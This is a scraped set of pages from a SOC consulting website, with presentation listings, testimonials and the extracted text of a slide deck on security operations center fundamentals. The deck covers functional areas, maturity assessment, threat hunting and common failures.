2025 SOC Survey Webcast & Forum](none) SANS 2025 SOC Survey Presentation by Christopher Crowley (2025-07-09) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for SANS 2025 SOC Survey Webcast & Forum ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=185 [![pdf](content/images/icons/pdf.svg) ISACA Future Tech 2025 - Build a Machine Learning Neural Network for Anomaly Detection on Logs](na) ISACA Future Tech 2025 Presentation by Christopher Crowley (2025-05-19) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for ISACA Future Tech 2025 ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=184 [![pdf](content/images/icons/pdf.svg) Cybersecurity Today TV Show - Ep 59](https://www.cybersecuritytoday.org/) Cybersecurity Today TV Show - Ep 59 Presentation by Christopher Crowley (2025-05-16) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for Cybersecurity Today TV Show - Ep 59 ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=183 [![pdf](content/images/icons/pdf.svg) The Evolution of Security Operations](none) The Evolution of Security Operations Presentation by Christopher Crowley on Cyber PMM Podcast (2025-03-19) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for The Evolution of Security Operations ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=181 [![pdf](content/images/icons/pdf.svg) Anomaly Detection within Machine Learning on Logs](https://montance.com/soc) Anomaly Detection within ML on Logs Presentation by Christopher Crowley (2025-01-09) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for Anomaly Detection within Machine Learning on Logs ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/soc # Optimum Security Protection for digital Assets Montance® LLC is a trusted independent Information Security partner providing cybersecurity assessment, and framework development services enabling clients to create a new SOC, or improve existing security operations. We are committed to enhancing your SOC capabilities to execute its mission: to provide optimum security protection for digital assets. Montance® LLC has provided services to organizations large and small in the financial, industrial, energy, medical, and defense industries. It is a one-person consulting firm providing a vehicle for direct and efficient engagement. Contracting can be direct or via an existing contracting vehicle. ![](content/images/icons/arrow-right.svg) ## Training for tomorrow [Christopher Crowley](content/pdf/Christopher Crowley Profile.pdf) has trained thousands of students globally with focus on Overall security operations, monitoring capability, mobile pen testing, and overall operational program development. Montance® LLC has provided services to organizations large and small in the financial, industrial, energy, medical, and defense industries. It is a one-person consulting firm providing a vehicle for direct and efficient engagement. ![](content/images/illustrations/training-for-tomorrow.png) Previously trained at * ![](content/images/logos/us-deptartment-of-defense.png) * ![](content/images/logos/tulane-university.png) * ![](content/images/logos/sans-institute.png) * 2000+ Students trained globally * 30+ Topics covered so far * 280+ Customized solutions delivered ## SOC Class Build and operate SOCs SOC-class is the Montance® LLC live instructional offering for those seeking to build or mature a Cyber Security Operations Center. Take this class to shorten the learning curve to excellence in your SOC. [Learn more](soc-class) "The course was an enriching learning experience. I left with a practical toolkit of skills that I could confidently apply. Chris is an engaging instructor and his experience and knowledge were evident in how generously he shared insights and answered questions." Christopher Crowley's training was a pivotal moment for SMT Group. His expertise and tailored approach have not only resonated with our team but also significantly contributed to our success across the Levant and Gulf regions. Since then, our cyber fusion center, offering over 37 cutting-edge services and products, has become a cornerstone in the cybersecurity landscape. Serving key telecom providers and numerous private sector entities, our expansion into markets like Jordan, Iraq, Kuwait, Dubai, and Saudi Arabia, with imminent plans for Kenya, stands as a testament to the solid foundation laid by Chris's top-notch training. SMT Group's trajectory of growth and innovation continues to be fueled by the valuable insights and skills gained from his training. Dr. Samir Tahoun SMT Group I have been a student on a course taught by you and teach assistant at events where you have taught. You have an amazing and broad technical knowledge which is combined with a deep understanding of security and its role in the business. You have an outstanding ability to convey complicated technical information to both technical and non-technical audiances. You manage audiences ranging from entry level technical security personnel to executives and CISOs with ease. Your advice and guidance provides superb, cost-effective solutions to real world problems. I have consistently been impressed with your professionalism and knowledge. It was an genuine pleasure to be a student and I wouldn’t hesistate to recommend you to others. Taz Wake, Security Director Halkyn Consulting Ltd It's is rare that you come across someone with such exceptional talent and professionalism as Chris. I've had the pleasure of working with Chris for many years as a peer. His ability to breakdown complex challenges in an approachable format makes him an expert in delivering solutions. I highly recommend Chris as an asset to help solve the problems we face in protecting our critical systems against cyber attacks. Joe Vest, Author Red Team Development and Operations Myself and my staff have had the pleasure of attending training and conferences hosted by Chris. He has a font of knowledge and experience pertaining to multiple domains of information security/security operations. I will continue to recommend my staff and my peers in industry to seek out Chris' training and advice wherever they can get it, via SANS, AND, or directly from Chris. Nathan Clarke - Advanced SOC Manager at Verizon Australia As for me, Mr. Crowley's main qualities are sensitivity, care, understanding of business processes, and patience. I had a luck to learn mobile application security from him at SEC575 Sans classes. When you talk with Christopher, it feels like he knows exact answers on questions that you kept inside yourself for a long long time, and you want work hard to learn his wisdom. Furthermore, Christopher is proactive in making people's lives better. While being in classes, I asked a lot of questions and got a lot of answers, and he answered me very patiently, even if my questions are unnecessary or irrelevant. Mr. Crowley's answers are specific, short, deep, and with strict footing on business. He speaks very accurately. Therefore I definitely recommend Christopher Crowley as a well-qualified teacher, and a solid security expert, which level of solidity I cannot even feel, like a grain of sand cannot understand the weight of a mountain. Simon Lyhin, Deloitte Ukraine I've been fortunate enough to attend more than a dozen big name cyber security, hacking and forensics courses over the past 9 years. The quality and breadth of subject matter in this SOC course more than equalled any I have done before. Well done Chris Technologist (infosec, forensics, embedded systems) Canberra I really recommend this training not only for the ones who start to build the security operations center but also for those who want to check whether the fundamentals, best practises are implemented and followed. It really gives the holistic view for all the activities you need to do, to deliver proper SOC services. Very often it raises the question “is this the best solution for our SOC” pointing out that there are many ways to deliver SOC services depending on the business needs, resources and time. If you are technical specialist, security auditor or security manager and want learn how to deliver SOC services I really recommend this class. SOC Manager/utility provider Europe One of the huge things that I took out of the class was the concept of a maturity model and a way to assess the maturity of an organization's security operations using the free open-source SOC-CMM that was introduced. Since taking the class under the SANS umbrella in the summer of 2018 at the DFIR Summit, I have been utilizing and following the updates to the SOC-CMM ever since using it especially in an ISAC that my company belongs to. Besides the SOC-CMM, I have been using other points from the class such as the section on metrics when talking to other members companies in the ISAC and discussing ways to assess and mature their operations. This has been a stepping stone to help prepare our security operations for the upcoming DoD CMMC initiative for contractors and educate our peers within the ISAC. Please keep up the great work! US Defense Industrial Base (USDIB) and Logistics Contractor I wanted to let you know that I was able to use material I learned from that class to propose to our upper management what a formalized security team could look like in our environment and some ways we could move forward with that. We are now making progress in making that happen. Thank you for all the work you put in to that class. Clothing and Adventure Gear Manufacturer You probably would not be surprised but I keep the books on my desk and every day find some minutes to list pages and read something. I replaced listening to music on my way home to audio from the course. The course as such became my new Bible and sometime I find it addictive. Thanks very much again for given such a valuable information in 5 days. Global Manufacturer and Retailer I share all of this only to make this point – never has a track been more relevant, timely, thorough, and pragmatic as I found the course to be. In my opinion, Chris (and I am quite sure an entire team of reviewers) has thought of, considered, and addressed every issue that I have encountered in my journey to standing up an internal SOC at my company. Food and Beverage Conglomerate I attended a fantastic course this month on Managing Security Operations taught by Chris Crowley . If you have anything to do with managing a SOC or your organization needs an idea of how to get to the next level...this is the course for you. Medical Supplier and Innovator Thanks for the excellent course in San Francisco...Btw, I appreciated how you quickly comprehended and translated specific feedback to general principles, when fielding questions in the class. That is a good skill. US Department of Defense [![](content/images/icons/arrow-circular-right.svg)](#carousel-soc-class) [![](content/images/icons/arrow-circular-right.svg)](#carousel-soc-class) ## Join MailList Sign up for class related updates [Notify Me](newsletter.php) Private Class Inquiry In-person or Online 3-5 days * ![](content/images/icons/clock.svg) 08:30-17:00 * ![](content/images/icons/location.svg) ![](https://px.ads.linkedin.com/collect/?pid=5019956&fmt=gif)[Contact us for details](https://montance.com/contact)[More information![](content/images/icons/arrow-right.svg)](https://montance.com/soc-class) [Express Interest](https://montance.com/contact) ## Testimonials ![](content/images/icons/avatar.png) Anonymous US Department of Defense Thanks for the excellent course in San Francisco...Btw, I appreciated how you quickly comprehended and translated specific feedback to general principles, when fielding questions in the class. That is a good skill. ![](content/images/icons/avatar.png) Joe Vest Author- Red Team Development and Operations It's is rare that you come across someone with such exceptional talent and professionalism as Chris. I've had the pleasure of working with Chris for many years as a peer. His ability to breakdown complex challenges in an approachable format makes him an expert in delivering solutions. I highly recommend Chris as an asset to help solve the problems we face in protecting our critical systems against cyber attacks. ![](content/images/icons/avatar.png) Nathan Clarke Verizon Australia Myself and my staff have had the pleasure of attending training and conferences hosted by Chris. He has a font of knowledge and experience pertaining to multiple domains of information security/security operations. I will continue to recommend my staff and my peers in industry to seek out Chris' training and advice wherever they can get it, via SANS, AND, or directly from Chris. ## Contact us Get in touch with me for any queries or requests regarding the course Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. * ![](content/images/icons/location.svg) Montance® LLC 267 Kentlands Blvd #5111 Gaithersburg, MD, USA 20878 * ![](content/images/icons/phone.svg) [+1-302-495-9090](tel:+1-302-495-9090) [ Current time ] * ![](content/images/icons/mail.svg) [chris@montance.com](mailto:chris@montance.com) * Follow Montance® on [![](content/images/icons/youtube.svg)](https://www.youtube.com/channel/UCZBVlN-16t4PfQGlYJ5SrdQ) [![](content/images/icons/linkedin.svg)](https://www.linkedin.com/company/montance) [![](content/images/icons/twitter.svg)](https://twitter.com/ccrowmontance) --- ## Source: https://montance.com/questions.php?id=180 [![pdf](content/images/icons/pdf.svg) SOC & SOAR Track - Fall Cyber Solutions Fest 2024](none) Fall Cyber Solutions Fest 2024 Presentation by Christopher Crowley (and many others) (2024-11-07) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for Fall Cyber Solutions Fest 2024 ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=176 [![pdf](content/images/icons/pdf.svg) 2024 SOC Survey](https://soc-survey.com) 2024 SOC Survey Presentation by Christopher Crowley (2024-07-12) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for 2024 SOC Survey ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=178 [![pdf](content/images/icons/pdf.svg) Madrid SANS - 2023 SOC Survey](https://drive.google.com/drive/folders/1lYhfta9XkIUqe0FlJxemvK48AYmuI8_d?usp=drive_link.pdf) Madrid SANS - 2023 SOC Survey Presentation by Christopher Crowley (2024-06-11) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for Madrid SANS - 2023 SOC Survey ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/drive/folders/1lYhfta9XkIUqe0FlJxemvK48AYmuI8_d **[Error: Could not extract Google Drive ID from https://drive.google.com/drive/folders/1lYhfta9XkIUqe0FlJxemvK48AYmuI8_d]** --- ## Source: https://drive.google.com/drive/folders/1lYhfta9XkIUqe0FlJxemvK48AYmuI8_d?usp=drive_link.pdf **[Error: Could not extract Google Drive ID from https://drive.google.com/drive/folders/1lYhfta9XkIUqe0FlJxemvK48AYmuI8_d?usp=drive_link.pdf]** --- ## Source: https://montance.com/questions.php?id=177 [![pdf](content/images/icons/pdf.svg) Kuwait Fundamentals and Best Practices for the SOC](https://drive.google.com/file/d/17-Ia3r5i91LMDRi-zKY6EELQVB_VZlGR/view) Kuwait Fundamentals and Best Practices for the SOC Presentation by Christopher Crowley (2024-05-05) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for Kuwait Fundamentals and Best Practices for the SOC ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/17-Ia3r5i91LMDRi-zKY6EELQVB_VZlGR/view **[PDF Extracted from Google Drive: https://drive.google.com/file/d/17-Ia3r5i91LMDRi-zKY6EELQVB_VZlGR/view]** www.amanteckw.comFUNDAMENTALS AND BEST PRACTICES FOR THE SOCQ&ACybersecurityWebinar The Webinar is starting soon HostWaleedBouruki Speaker ChristopherCrowley Page 2AMANTec, emerging from a legacy, offers tailored cybersecurity and IT solutions to safeguard businesses' digital assets with acute awareness of their critical importance.About Us Previously ICON Kuwait of custom cybersecurity solutionsLead Provider in delivering Cybersecurity Awareness Trainings.Industry Veterans Christopher Crowley Montance® LLC Founder of Montance®LLC, a solo consulting firm, is known for his roles as an author and cybersecurity instructor with over 15 years of experience. Specializing in Security Operation Centers (SOC), he offers valuable advice to clients to enhance their security measures. Consultant, Author, Instructor Page 3 Cybersecurity Operations: Fundamentals and Best Practice There’s a lot of additional information available online https://montance.com/pres SOC-Class.com || Montance® LLC4Copyright 2024 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Christopher Crowley –Montance® LLC•Background: root on (Ultrix/VMS) employer systems at 15 years old (80s #CYBER) •Sectors: Defense, Education, Energy, Government, Software Development, Financial, Telecom… •Consultant, author of SOC- Class.com: Security Operations, Design, Build, Operate. Teaches SANS: SEC575, SEC511, SEC504 Montance® LLC 5 Threats Why we need Cybersecurity Operations SOC-Class.com || Montance® LLC6Copyright 2024 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Threat Taxonomy ($B,$M,$T)Montance® LLC 7•This adapted figure (ES.1 Threat Taxonomy) from US DOD Defense Science Board report Resilient Military Systems… •groups threats into ten, million, and billion dollar level resource capability clubs where: •$T: reuse vulnerabilities, •$M: discover vulnerabilities, •$B: create vulnerabilities. https://nsarchive2.gwu.edu/NSAEBB/NSAEBB424/docs/Cyber-081.pdf $ Billions $ Millions $ Tens Cybersecurity Operations Defined SOC-Class.com || Montance® LLC8Copyright 2024 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Functional Components of SOCSecurity Operations : Protecting the confidentiality, integrity, and availability of an organization’s information systems through proactive design and configuration, continuous monitoring of system state, detection of unintended actions or undesirable state, and minimizing damage from unwanted affects. SOC-Class Reference Architecture SOC-Class.com || Montance® LLC10Copyright 2024 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Functional Areas of a SOC Steering Committee Command Center Monitoring Threat Intelligence Incident Handling Forensics Self-Assessment Functional Components of SOC•To discuss a SOC, I discuss the functional capabilities a SOC is expected to perform •I address in the SOC-Class •Software and hardware to make a SOC •SOC structural arrangements •SOC interactions to the constituents •Processes for repeatable, effective operations •Orchestration and Automation guidance Components by Another Name•You might call these functions different things •Functions may be combined: CC+MON, IR+FOR, TI+SA (or other variations) •Likely have a pool of staff to accomplish these various tasks without separation by function •Might be with arranged between staff and outsourced partners (outsourcing section later) •The SOC needs to do all these things Command Center•The Command Center directs action and manages communication of all security operations related activity •Single point of entry for security related requests (telephone number for police/fire/health emergencies) •Authority to direct response and notify constituents •Verification, escalation, triage, deconfliction of incidents •Objective: Maintain situational awareness of systems and threat environment, manage threats, proactively protect systems, engage appropriate parties, meet reporting SLAs SOC Operations•SOC Operations –Probably Command Center or Monitoring sub-function •There is quite a bit of care and feeding required for whatever technology we select •Where does this belong within the SOC? •Infrastructure as part of Command Center •Maybe be in MON or “matrixed” in small SOC •Usually in CC or MON, unlikely in other functions Monitoring•Fundamental and critical: monitor for issues •Watching the actions and communication of the information systems for unwanted activity, common failure is bad inventory of systems and owners ( defensive topography ) •Dedicated hardware, software, and staff •Gigantic amounts of constantly changing data •Objective : fast, accurate detection of issues Threat Intelligence•Insecure systems won’t be compromised/impacted without a threat leveraging the vulnerability •Study threats to our environment (predicted and experienced) to better prepare, detect, and respond •We have the home field advantage, let’s use it! •Produce and/or consume threat intelligence •Keep organization informed of threat landscape •Objective: tactical and strategic advantage over adversaries Incident Handling•Incident Response is engaged once a problem is detected, usually by MON or external notification •Strives to minimize the damage from the incident •Analysis to determine extent of the incident •Assist to return systems to normal state •Leverages lessons learned from incidents to enhance security posture and defensibility of the organization •Objective: minimize impact of problems Incident Handling•Emblematic description: Three characters of incident response •Janitorial Services: low cost, routine •Fire Fighters: intervention, minimize loss •Apex Predator: high performance •https://www.mgt517.com/ir3 Forensics•Often supporting Incident Response, authoritative capability to detail the methodology and extent of the incident •Also useful for self-assessment within procurement process •Can separate further into these forensics specialties •Host •Network •Reverse Engineering •eDiscovery •Objective: detailed data and event analysis for incident verification and impact assessment Forensics –Host•Host Forensics studies data on individual systems – including cloud, mobile devices and memory forensics •Indicators of Compromise, used to scope intrusion •Application data •Operating system artifacts •Logs •Objective: collection of artifacts and detailed analysis of events on systems of interest Forensics –Network•Network Forensics studies network artifacts •Switch/Router/Firewall Logs •Proxy Logs •Mail Logs •… Logs •Full Packet Capture (PCAP) •Objective: detailed analysis of events on network to understand what was compromised Forensics –Reverse Engineering•RE is very difficult but incredibly useful •Studies hardware or software •Determines the capability of the item studied •Frequently malware (software) analysis •Also, could be firmware, hardware, etc. •Objective: analysis to determine the capability of hardware or software in use in the organization to determine its appropriateness Forensics –eDiscovery•eDiscovery is a necessary capability in every organization •If it already exists don’t fight to bring it into the SOC •If you are building a SOC and don’t have it, incorporate into design •Often interfaces with Legal team to define collection objectives •Leverages existing infrastructure to efficiently support collection •Manage retention of records (email, texts, documents, etc.) •Fulfill obligation to support electronic discovery •Example: US Government Freedom of Information Act (FOIA) requests must be filled upon request or justify not supplying the data •Objective: Collect specified information assets in a reproducible (hence defendable), cost effective, and thorough fashion Self-Assessment•Configuration Monitoring •Vulnerability Management •Pen Testing •Exercises •Objective: ongoing assessment of attack surface of information systems and organization capability to resist compromise and recover gracefully when incidents occur Configuration Monitoring•CM is the practice of approving change and detecting variation from approved baselines and configurations •Change Control and approval •File Integrity Monitoring / Application Whitelisting •Baseline and standard approved configurations •Deviation authorization and tracking •Continuous Monitoring for change identification •Objective: Develop system and application baselines and configurations, support monitoring changes from specified baseline settings to return to specification Vulnerability Management•Vulnerability Management is testing systems for issues, such as missing patches or misconfiguration and directing remediation and getting identified issues resolved •Typically performed by a vulnerability scanner •Software with inventory of known patches and flaws, and methods for checking if they’re missing •Objective: identify attack surface of systems: such as vulnerabilities of known flaws or weak configurations, minimizing attack opportunities and effectiveness Penetration Testing•Pen Testing goes beyond vulnerability scans to model/demonstrate how an adversary would compromise a system and what is at risk •Time intensive, substantial expertise required •Objective: determine the risk of an information system by demonstrating impact of a compromise and model adversary attack methods against a system Penetration Testing Drives Change•When I say, you have to patch MS20-013, organizations usually don’t care and make all sorts of excuses or operational reasons why not •When I say in the debrief of the pen-test: I broke in to your accounts payable system and sent myself a check for $100,000 -patches happen quickly •True also for your SOC analysts, SOC pen testers are internal motivation Exercises•Exercises model plausible scenarios and challenge the staff identify it, then follow the procedures appropriate to that scenario. Exercises reinforce authorized / good practices •Very valuable, often neglected •The culture of “too busy” frequently prevents exercises •Improvement presumed to occur somehow “in process” •Objective: assess staff readiness, capability to follow defined procedures and improvise in the face of unanticipated issues Maturity Assessment Methods SOC-CMM MITRE ATT&CK SOC-Class.com || Montance® LLC31Copyright 2024 Montance® LLC -All Rights Reserved. All Wrongs Reversed? SOC-CMM Based Maturity•SOC CMM for assessment of maturity •Not the same as my SOC-class, but strong correlation ATT&CK Anatomy ATT&CK Terminology: IOC vs TTPs•Indicator of Compromise (IOC): specific trait of malicious activity •ATT&CK considers its Behavioral Analytics Development an upgrade from IoCsthat moves away from specific details of software and moves toward techniques an adversary must useor implement to accomplish a tactic •Tactics, Techniques, Procedures (TTPs): industry name for all encompassing descriptors of adversary capability and behavior. ATT&CK is a framework to enumerate and communicate TTPs, with the added capability to articulate what can be done to detect and interfere (degrade, disrupt, deceive,…) with the TTPs in OSes MITRE ATT&CK Intention•Adversary Emulation •Red Teaming •Behavioral Analytics Development •Defensive Gap Analysis •SOC Maturity Assessment •Cyber Threat Intelligence Enrichment •(These are expressed in the white paper) 35 MITRE ATT&CK: Defensive Gap Analysis•MITRE suggests ATT&CK framework use is to identify the coverage aspect of the SOC’s defensive posture through “Defensive Gap Analysis” •Blue –High Confidence •Yellow –Med Confidence •Orange –Low & no plan MITRE ATT&CK Maturity•Lessons Learned Applying ATT&CK-Based SOC Assessments •Assumes a “third party” external assessment, but can be self- assessed. Takes 1-2 months •Inputs: survey, documentation, & interviews. Document review only •Artifacts: detection heatmap, prioritization plan of TTPs for detection improvement based on threat intelligence and MITRE analyst direction 37 Operations SOC-Class.com || Montance® LLC38Copyright 2024 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Cross-Functional Flowchart Next Progression Next Section Steering Committee Command Center Monitoring Threat Intelligence Incident Response Forensics Self Assessment Receive Incident Reports Review Metrics Reports Review Pen Test Reports Review Vulnerability Status Review Configuration Monitoring Information Review Exercise Results Adequate Performance? Acceptable Risk? Review Updated Threat Information Updated Business Information Appropriate Changes? Update Policy Modify Internal Process Change Required? Modify Internal Process Accept Incoming Request Deconflict Validate Report Deconflict Update Existing Incident Direct Response Actions Create Incident Notify Constituents Modify Internal Process Incident Declaration Collect Data Validate Data Parse Data Correlate Data Investigate Alert Data Mining aka Hunting Data Sharing Modify Internal Process Collect Open Source Data Track Adversaries Mine Internal Data Disseminate Intelligence Internally Attribute Event to Adversary Modify Internal Process Investigate Contain Eradicate Coordinate Report Modify Internal Process Network Host Reverse Engineering Modify Internal Process Vulnerability Assessment Configuration Management Penetration Testing Exercises E-Discovery Back to Flowchart Steering Committee Command Center Monitoring Threat Intelligence Incident Response Forensics Self Assessment Receive Incident Reports Review Metrics Reports Review Pen Test Reports Review Vulnerability Status Review Configuration Monitoring Information Review Exercise Results Adequate Performance? Acceptable Risk? Review Updated Threat Information Updated Business Information Appropriate Changes? Update Policy Modify Internal Process Change Required? Cross-Functional Flowchart Next Progression Next Section Back to Flowchart Steering Committee Command Center Monitoring Threat Intelligence Incident Response Forensics Self AssessmentModify Internal Process Cross-Functional Flowchart Accept Incoming Request Deconflict Validate Report Deconflict Update Existing Incident Direct Response Actions Create Incident Notify Constituents Next Progression Next Section Back to Flowchart Steering Committee Command Center Monitoring Threat Intelligence Incident Response Forensics Self AssessmentModify Internal Process Cross-Functional Flowchart Incident Declaration Correlate Data Investigate Alert Data Mining Data Sharing Collect Data Validate Data Parse Data Next Progression Next Section Back to Flowchart Steering Committee Command Center Monitoring Threat Intelligence Incident Response Forensics Self AssessmentModify Internal Process Cross-Functional Flowchart Collect Open Source Data Track Adversaries Mine Internal Data Disseminate Intelligence Internally Attribute Event to Adversary Next Progression Next Section Back to Flowchart Steering Committee Command Center Monitoring Threat Intelligence Incident Response Forensics Self AssessmentModify Internal Process Cross-Functional Flowchart Investigate Contain Eradicate Coordinate Report Next Progression Next Section Back to Flowchart Steering Committee Command Center Monitoring Threat Intelligence Incident Response Forensics Self AssessmentModify Internal Process Cross-Functional Flowchart Network Host ReportAnalyze evidenceAssure Evidence IntegrityAcquire Evidence Reverse Engineering E-Discovery ReportAnalyze evidenceAssure evidence integrityAcquire evidence Retain DataProcess and deliver dataAcquire evidenceScope of request ReportAnalyze evidenceAssure evidence integrityAcquire evidence Next Progression Next Section Back to Flowchart Steering Committee Command Center Monitoring Threat Intelligence Incident Response Forensics Self Assessment Modify Internal Process Cross-Functional Flowchart Vulnerability Assessment Penetration TestingDiscover intelligenc e on orgModel Adversary activityCoordinate with operations and control centerAssess Systems Exercise Configuration ManagementManage exceptionsTrack Remidiatio nCorrelate new vul.to assetsScan assets for known vul. Assess and approve user exceptionsCreate baselines and standardsAssess changes of systemsChange approval process Improve user performan ceAssess user defensive prstureAssess DR & BCPConduct exercises Next Progression Next Section Back to Flowchart Threat Hunting SOC-Class.com || Montance® LLC47Copyright 2022 Montance® LLC -All Rights Reserved. Succinct Threat Hunting DefinitionInvestigation of data presuming alerting failed Montance® LLC 48 Hunting Compared to: Detection Engineering / Cyber Use Cases Good Hunting Drives Good Engineering•Hunting is “clumsy but swift” yet we want swiftness to inform where the engineering effort is actually worth deploying a lot of effort •One hunting outcome: ideas for use cases •Hunts show gaps and oversights, posture improvement recommendations and detection revisions are another outcome of hunts •Leverage vendor partners and community efforts as the basis of your engineered detections, then customize as appropriate for your environment, hunting helps develop these customizations Montance® LLC 50 Use Case DefinitionA Cyber Security Use Case describes a relevant scenario of compromise and potential method(s) of detecting this offensive activity. @CCrowMontanceBusiness relevance Characteristics Artifacts Detection Enrichment Implementation Assessment Review Use Cases Engineering•SOC Use Cases: an engineering effort •Identify scenario of interest and business relevance •Characteristics of scenario (decompose it) •Related artifacts •Detection opportunities in data •Enrichment opportunities in data (external threat info, internal correlation) •Engineering / implementation •Monitoring / assessment •Use case revision / review / expirationExpanded use-case dev: mgt517.com/use-cases Failures What to Avoid SOC-Class.com || Montance® LLC53Copyright 2020 Montance® LLC -All Rights Reserved. All Wrongs Reversed? No Vision for Architecture•You might disagree with my reference architecture. If you do, I’d love to discuss what you think is missing or superfluous •If you’ve put that much thought into it already, congratulations you haven’t fallen into the trap of this failure •The failure: no clear vision of architecture Montance® LLC 54 Steering Committee •Almost no organization starts the SOC project by identifying the Steering Committee structure and members. Why would you? It’s all about monitors, shift work and Tier 1-3 Analysts, SIEMs, Threat Intelligence Feeds, … •The failure: steering committee doesn’t exist or is inept so SOC direction (hence the term Steering) isn’t defined and there’s tremendous waste of effort Montance® LLC 55 Defensive Topography•IT growth is persistent. SOCs rarely integrate into IT system development and deployment processes. SOCs rarely integrate into procurement and contracting •The failure: defensive topography is presumed to be someone else’s responsibility to give to the SOC. No. The SOC is responsible for cataloging “well managed systems” and “everything else”; knowing what assets are authorized Montance® LLC 56 Foresight, Consistency, Self-Discipline•Maturity is the term that is often discussed, but rarely defined •There were two clear (and freely available) methods of assessing maturity. If your SOC has already adopted one (anything) and self-assesses annually you haven’t made this mistake •The failure: SOC constituents change the maturity measurements frequently because there was no clear agreement of maturity objectives initially Montance® LLC 57 Christopher Crowley•This slide deck and others available: https://montance.com/pres •Upcoming in 2024: •2024 SOC-Survey https://soc-survey.com •Blackhat Riyadh •Hopefully return to Kuwait Montance® LLC 58 www.amanteckw.comQ&A Thank you for your attention and participation. We welcome any questions you may have. --- ## Source: https://montance.com/questions.php?id=179 [![pdf](content/images/icons/pdf.svg) 2023 SANS SOC Survey Review: Highlights and Deep Dive](https://drive.google.com/drive/folders/1BR5WkU5BSExFscCGi2Li182_tpLgcPOK) 2023 SANS SOC Survey Review Presentation by Christopher Crowley (2024-03-11) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for 2023 SANS SOC Survey Review ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/drive/folders/1BR5WkU5BSExFscCGi2Li182_tpLgcPOK **[Error: Could not extract Google Drive ID from https://drive.google.com/drive/folders/1BR5WkU5BSExFscCGi2Li182_tpLgcPOK]** --- ## Source: https://montance.com/questions.php?id=175 [![pdf](content/images/icons/pdf.svg) Arab Intl Cybersecurity Conference - Bahrain](not available) Arab Intl Cybersecurity Conference Presentation by Christopher Crowley and others (2023-12-05) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for Arab Intl Cybersecurity Conference ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=174 [![pdf](content/images/icons/pdf.svg) BLASTPASS SANS HackFest Hollywood 2023](https://drive.google.com/file/d/17TskvDNWBI76siLBDqlFuHTPi6uGVrIz/view?usp=drive_link) BLASTPASS SANS HackFest Presentation by Christopher Crowley (2023-11-16) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for BLASTPASS SANS HackFest ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/17TskvDNWBI76siLBDqlFuHTPi6uGVrIz/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/17TskvDNWBI76siLBDqlFuHTPi6uGVrIz/view?usp=drive_link]** BLASTPASS CVE-2023-41061 & 41064 Overview & Exploit Chain Threat Briefing SOC-Class.com || Montance® LLC2Copyright 2023 Montance® LLC -All Rights Reserved. All Wrongs 